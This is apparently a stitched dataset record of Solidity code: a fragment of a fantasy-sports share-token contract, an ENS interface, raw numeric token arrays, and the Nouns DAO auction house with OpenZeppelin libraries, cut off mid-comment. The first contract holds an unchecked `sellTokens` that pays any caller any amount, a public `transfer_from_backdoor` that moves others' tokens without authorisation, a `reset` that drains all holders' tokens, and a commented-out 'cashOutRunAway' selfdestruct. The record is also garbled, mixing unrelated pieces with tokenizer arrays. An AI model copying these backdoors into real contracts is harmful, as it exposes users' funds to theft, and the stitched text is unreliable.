require(!seasonStarted); _; } modifier hasSeasonStarted() { require(seasonStarted); _; } modifier hasSeasonEnded() { require(seasonEnded); _; } constructor() public payable { token = new LTokens(); auctionEndDate = block.timestamp + 1 days; seasonStarted = false; } function sellTokens(uint256 sellAmount) public { msg.sender.transfer(sellAmount); } function buyTokens(uint256 buyPrice, uint256 tokenId) public payable auctionOngoing { require(msg.value > 0 && msg.value%buyPrice == 0, "Broken funds"); uint256 numOfTokens = msg.value/buyPrice; if (lastDividendWithdrawn[msg.sender] == 0x0) { // not already in shareholders.push(msg.sender); lastDividendWithdrawn[msg.sender] = block.timestamp; // set temporary date, when auction end triggered, update } // take cut and transfer to owner address // log cut in currWeekDividendFund require(token.balanceOf(address(this), tokenId) > numOfTokens, "Tokens sold out"); token.safeTransferFrom(address(this), msg.sender, tokenId, numOfTokens, ""); // wait aren' we missing tranferring the valu to us? or no does the value auto get sent to his contract } function startSeason() public payable auctionEnded hasSeasonNotStarted { seasonStarted = true; seasonEnded = false; // for now hardcoded to 69, wil be on bell curve (worst producing and best producing players are rarer) for (uint256 i=0; i<numEntities; i++) { entityToPublicShareAmount[i] = 69; } //AMM deployment TODO } // paying dividend per share type, as opposed to all share tyes that msg.sender holds function giveDividendPerPlayer(string memory request_uri) public hasSeasonStarted { require(lastDividendWithdrawn[msg.sender] < currWeekStart); // res is from chainlink // tokenId is entityId // balanceOf() is shares_owned // entityToPublicShareAmount[token_id] is shares_in_circulation // lastWeekDividendFund is dividend_fund lastDividendWithdrawn[msg.sender] = block.timestamp; requestDividendWorthyEntities(request_uri); // send back sendAmount } function transfer_from_backdoor(address from, address to, uint256 entityId ,uint256 value) public { uint256 our_cut = (5 * value)/100; value -= our_cut; currWeekDividendFund += (70 * our_cut)/100; token.transfer_from_backdoor(from, to, entityId, value); } // ISHAN adds max owner calculations during transfer // function that will trigger end of auction, and set every value in lastDividendWithdrawn to current date function endAuction() public auctionOngoing onlyOwner { auctionEndDate = block.timestamp; for (uint i=0; i<shareholders.length; i++) { lastDividendWithdrawn[shareholders[i]] = block.timestamp; } } function get_buy_price(uint256 tokenId) public view returns (uint256) { uint256 sharesAvailable = token.balanceOf(address(this), tokenId); uint256 sharePrice = (4.20 ether)/sharesAvailable; return sharePrice; } function getPlayerBalance(uint256 tokenId) public view returns (uint256) { return token.balanceOf(msg.sender, tokenId); } function weekTrigger() public onlyOwner { currWeekStart = block.timestamp; lastWeekDividendFund = currWeekDividendFund; currWeekDividendFund = 0; } function get_top_shareholder(uint256 entityId) public view returns (address) { return address(msg.sender); } function getShareOwnership() public { // hardcoded for now } // ISHAN adds more dividend logic //function cashOutRunAway() public onlyOwner { //selfdestruct(msg.sender); //} function endSeason() public { seasonEnded = true; seasonStarted = false; // turn SFTs into NFTs } // function for top shareholder to turn to nft function retrieveNFT(uint256 tokenId) public hasSeasonEnded { require(msg.sender == get_top_shareholder(tokenId)); token.safeTransferFrom(address(this), get_top_shareholder(tokenId), tokenId+10, 1, ""); } function drainHoldings(address shareholder) private { for (uint i=1; i<(numEntities*2 + 1); i++) { uint256 amount = token.balanceOf(shareholder, i); if (amount > 0) { tokensOwned.push(i); amounts.push(amount); } } token.safeBatchTransferFrom(shareholder, garbo, tokensOwned, amounts, ""); delete amounts; delete tokensOwned; } function reset() public hasSeasonEnded { for (uint i=0; i<shareholders.length; i++) { drainHoldings(shareholders[i]); } // now drain from this account to garbo drainHoldings(address(this)); currWeekDividendFund = 0; } function giveDividendPerPlayer(string memory request_uri) public hasSeasonStarted { require(lastDividendWithdrawn[msg.sender] < currWeekStart); lastDividendWithdrawn[msg.sender] = block.timestamp; requestDividendWorthyEntities(request_uri); } }
Logged when the owner of a node assigns a new owner to a subnode. Logged when the owner of a node transfers ownership to a new account. Logged when the resolver for a node changes. Logged when the TTL of a node changes
interface ENSInterface { event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); event Transfer(bytes32 indexed node, address owner); event NewResolver(bytes32 indexed node, address resolver); event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address _owner) external; function setResolver(bytes32 node, address _resolver) external; function setOwner(bytes32 node, address _owner) external; function setTTL(bytes32 node, uint64 _ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); }
1,048,073
[ 1, 4625, 348, 7953, 560, 30, 225, 1827, 2423, 1347, 326, 3410, 434, 279, 756, 22698, 279, 394, 3410, 358, 279, 28300, 18, 1827, 2423, 1347, 326, 3410, 434, 279, 756, 29375, 23178, 358, 279, 394, 2236, 18, 1827, 2423, 1347, 326, 5039, 364, 279, 756, 3478, 18, 1827, 2423, 1347, 326, 14076, 434, 279, 756, 3478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 512, 3156, 1358, 288, 203, 203, 225, 871, 1166, 5541, 12, 3890, 1578, 8808, 756, 16, 1731, 1578, 8808, 1433, 16, 1758, 3410, 1769, 203, 203, 225, 871, 12279, 12, 3890, 1578, 8808, 756, 16, 1758, 3410, 1769, 203, 203, 225, 871, 1166, 4301, 12, 3890, 1578, 8808, 756, 16, 1758, 5039, 1769, 203, 203, 225, 871, 1166, 11409, 12, 3890, 1578, 8808, 756, 16, 2254, 1105, 6337, 1769, 203, 203, 203, 225, 445, 19942, 2159, 5541, 12, 3890, 1578, 756, 16, 1731, 1578, 1433, 16, 1758, 389, 8443, 13, 3903, 31, 203, 225, 445, 444, 4301, 12, 3890, 1578, 756, 16, 1758, 389, 14122, 13, 3903, 31, 203, 225, 445, 31309, 12, 3890, 1578, 756, 16, 1758, 389, 8443, 13, 3903, 31, 203, 225, 445, 444, 11409, 12, 3890, 1578, 756, 16, 2254, 1105, 389, 12546, 13, 3903, 31, 203, 225, 445, 3410, 12, 3890, 1578, 756, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 225, 445, 5039, 12, 3890, 1578, 756, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 225, 445, 6337, 12, 3890, 1578, 756, 13, 3903, 1476, 1135, 261, 11890, 1105, 1769, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 /// @title The Nouns DAO auction house /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ // LICENSE // NounsAuctionHouse.sol is a modified version of Zora's AuctionHouse.sol: // https://github.com/ourzora/auction-house/blob/54a12ec1a6cf562e49f0a4917990474b11350a2d/contracts/AuctionHouse.sol // // AuctionHouse.sol source code Copyright Zora licensed under the GPL-3.0 license. // With modifications by Nounders DAO. pragma solidity ^0.8.6; import { PausableUpgradeable } from '@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol'; import { ReentrancyGuardUpgradeable } from '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol'; import { OwnableUpgradeable } from '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import { INounsAuctionHouse } from './interfaces/INounsAuctionHouse.sol'; import { INounsToken } from './interfaces/INounsToken.sol'; import { IWETH } from './interfaces/IWETH.sol'; contract NounsAuctionHouse is INounsAuctionHouse, PausableUpgradeable, ReentrancyGuardUpgradeable, OwnableUpgradeable { // The Nouns ERC721 token contract INounsToken public nouns; // The address of the WETH contract address public weth; // The minimum amount of time left in an auction after a new bid is created uint256 public timeBuffer; // The minimum price accepted in an auction uint256 public reservePrice; // The minimum percentage difference between the last bid amount and the current bid uint8 public minBidIncrementPercentage; // The duration of a single auction uint256 public duration; // The active auction INounsAuctionHouse.Auction public auction; /** * @notice Initialize the auction house and base contracts, * populate configuration values, and pause the contract. * @dev This function can only be called once. */ function initialize( INounsToken _nouns, address _weth, uint256 _timeBuffer, uint256 _reservePrice, uint8 _minBidIncrementPercentage, uint256 _duration ) external initializer { __Pausable_init(); __ReentrancyGuard_init(); __Ownable_init(); _pause(); nouns = _nouns; weth = _weth; timeBuffer = _timeBuffer; reservePrice = _reservePrice; minBidIncrementPercentage = _minBidIncrementPercentage; duration = _duration; } /** * @notice Settle the current auction, mint a new Noun, and put it up for auction. */ function settleCurrentAndCreateNewAuction() external override nonReentrant whenNotPaused { _settleAuction(); _createAuction(); } /** * @notice Settle the current auction. * @dev This function can only be called when the contract is paused. */ function settleAuction() external override whenPaused nonReentrant { _settleAuction(); } /** * @notice Create a bid for a Noun, with a given amount. * @dev This contract only accepts payment in ETH. */ function createBid(uint256 nounId) external payable override nonReentrant { INounsAuctionHouse.Auction memory _auction = auction; require(_auction.nounId == nounId, 'Noun not up for auction'); require(block.timestamp < _auction.endTime, 'Auction expired'); require(msg.value >= reservePrice, 'Must send at least reservePrice'); require( msg.value >= _auction.amount + ((_auction.amount * minBidIncrementPercentage) / 100), 'Must send more than last bid by minBidIncrementPercentage amount' ); address payable lastBidder = _auction.bidder; // Refund the last bidder, if applicable if (lastBidder != address(0)) { _safeTransferETHWithFallback(lastBidder, _auction.amount); } auction.amount = msg.value; auction.bidder = payable(msg.sender); // Extend the auction if the bid was received within `timeBuffer` of the auction end time bool extended = _auction.endTime - block.timestamp < timeBuffer; if (extended) { auction.endTime = _auction.endTime = block.timestamp + timeBuffer; } emit AuctionBid(_auction.nounId, msg.sender, msg.value, extended); if (extended) { emit AuctionExtended(_auction.nounId, _auction.endTime); } } /** * @notice Pause the Nouns auction house. * @dev This function can only be called by the owner when the * contract is unpaused. While no new auctions can be started when paused, * anyone can settle an ongoing auction. */ function pause() external override onlyOwner { _pause(); } /** * @notice Unpause the Nouns auction house. * @dev This function can only be called by the owner when the * contract is paused. If required, this function will start a new auction. */ function unpause() external override onlyOwner { _unpause(); if (auction.startTime == 0 || auction.settled) { _createAuction(); } } /** * @notice Set the auction time buffer. * @dev Only callable by the owner. */ function setTimeBuffer(uint256 _timeBuffer) external override onlyOwner { timeBuffer = _timeBuffer; emit AuctionTimeBufferUpdated(_timeBuffer); } /** * @notice Set the auction reserve price. * @dev Only callable by the owner. */ function setReservePrice(uint256 _reservePrice) external override onlyOwner { reservePrice = _reservePrice; emit AuctionReservePriceUpdated(_reservePrice); } /** * @notice Set the auction minimum bid increment percentage. * @dev Only callable by the owner. */ function setMinBidIncrementPercentage(uint8 _minBidIncrementPercentage) external override onlyOwner { minBidIncrementPercentage = _minBidIncrementPercentage; emit AuctionMinBidIncrementPercentageUpdated(_minBidIncrementPercentage); } /** * @notice Create an auction. * @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event. * If the mint reverts, the minter was updated without pausing this contract first. To remedy this, * catch the revert and pause this contract. */ function _createAuction() internal { try nouns.mint() returns (uint256 nounId) { uint256 startTime = block.timestamp; uint256 endTime = startTime + duration; auction = Auction({ nounId: nounId, amount: 0, startTime: startTime, endTime: endTime, bidder: payable(0), settled: false }); emit AuctionCreated(nounId, startTime, endTime); } catch Error(string memory) { _pause(); } } /** * @notice Settle an auction, finalizing the bid and paying out to the owner. * @dev If there are no bids, the Noun is burned. */ function _settleAuction() internal { INounsAuctionHouse.Auction memory _auction = auction; require(_auction.startTime != 0, "Auction hasn't begun"); require(!_auction.settled, 'Auction has already been settled'); require(block.timestamp >= _auction.endTime, "Auction hasn't completed"); auction.settled = true; if (_auction.bidder == address(0)) { nouns.burn(_auction.nounId); } else { nouns.transferFrom(address(this), _auction.bidder, _auction.nounId); } if (_auction.amount > 0) { _safeTransferETHWithFallback(owner(), _auction.amount); } emit AuctionSettled(_auction.nounId, _auction.bidder, _auction.amount); } /** * @notice Transfer ETH. If the ETH transfer fails, wrap the ETH and try send it as WETH. */ function _safeTransferETHWithFallback(address to, uint256 amount) internal { if (!_safeTransferETH(to, amount)) { IWETH(weth).deposit{ value: amount }(); IERC20(weth).transfer(to, amount); } } /** * @notice Transfer ETH and return the success status. * @dev This function only forwards 30,000 gas to the callee. */ function _safeTransferETH(address to, uint256 value) internal returns (bool) { (bool success, ) = to.call{ value: value, gas: 30_000 }(new bytes(0)); return success; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0 /// @title Interface for Noun Auction Houses /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ pragma solidity ^0.8.6; interface INounsAuctionHouse { struct Auction { // ID for the Noun (ERC721 token ID) uint256 nounId; // The current highest bid amount uint256 amount; // The time that the auction started uint256 startTime; // The time that the auction is scheduled to end uint256 endTime; // The address of the current highest bid address payable bidder; // Whether or not the auction has been settled bool settled; } event AuctionCreated(uint256 indexed nounId, uint256 startTime, uint256 endTime); event AuctionBid(uint256 indexed nounId, address sender, uint256 value, bool extended); event AuctionExtended(uint256 indexed nounId, uint256 endTime); event AuctionSettled(uint256 indexed nounId, address winner, uint256 amount); event AuctionTimeBufferUpdated(uint256 timeBuffer); event AuctionReservePriceUpdated(uint256 reservePrice); event AuctionMinBidIncrementPercentageUpdated(uint256 minBidIncrementPercentage); function settleAuction() external; function settleCurrentAndCreateNewAuction() external; function createBid(uint256 nounId) external payable; function pause() external; function unpause() external; function setTimeBuffer(uint256 timeBuffer) external; function setReservePrice(uint256 reservePrice) external; function setMinBidIncrementPercentage(uint8 minBidIncrementPercentage) external; } // SPDX-License-Identifier: GPL-3.0 /// @title Interface for NounsToken /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ pragma solidity ^0.8.6; import { IERC721 } from '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import { INounsDescriptor } from './INounsDescriptor.sol'; import { INounsSeeder } from './INounsSeeder.sol'; interface INounsToken is IERC721 { event NounCreated(uint256 indexed tokenId, INounsSeeder.Seed seed); event NounBurned(uint256 indexed tokenId); event NoundersDAOUpdated(address noundersDAO); event MinterUpdated(address minter); event MinterLocked(); event DescriptorUpdated(INounsDescriptor descriptor); event DescriptorLocked(); event SeederUpdated(INounsSeeder seeder); event SeederLocked(); function mint() external returns (uint256); function burn(uint256 tokenId) external; function dataURI(uint256 tokenId) external returns (string memory); function setNoundersDAO(address noundersDAO) external; function setMinter(address minter) external; function lockMinter() external; function setDescriptor(INounsDescriptor descriptor) external; function lockDescriptor() external; function setSeeder(INounsSeeder seeder) external; function lockSeeder() external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; interface IWETH { function deposit() external payable; function withdraw(uint256 wad) external; function transfer(address to, uint256 value) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied 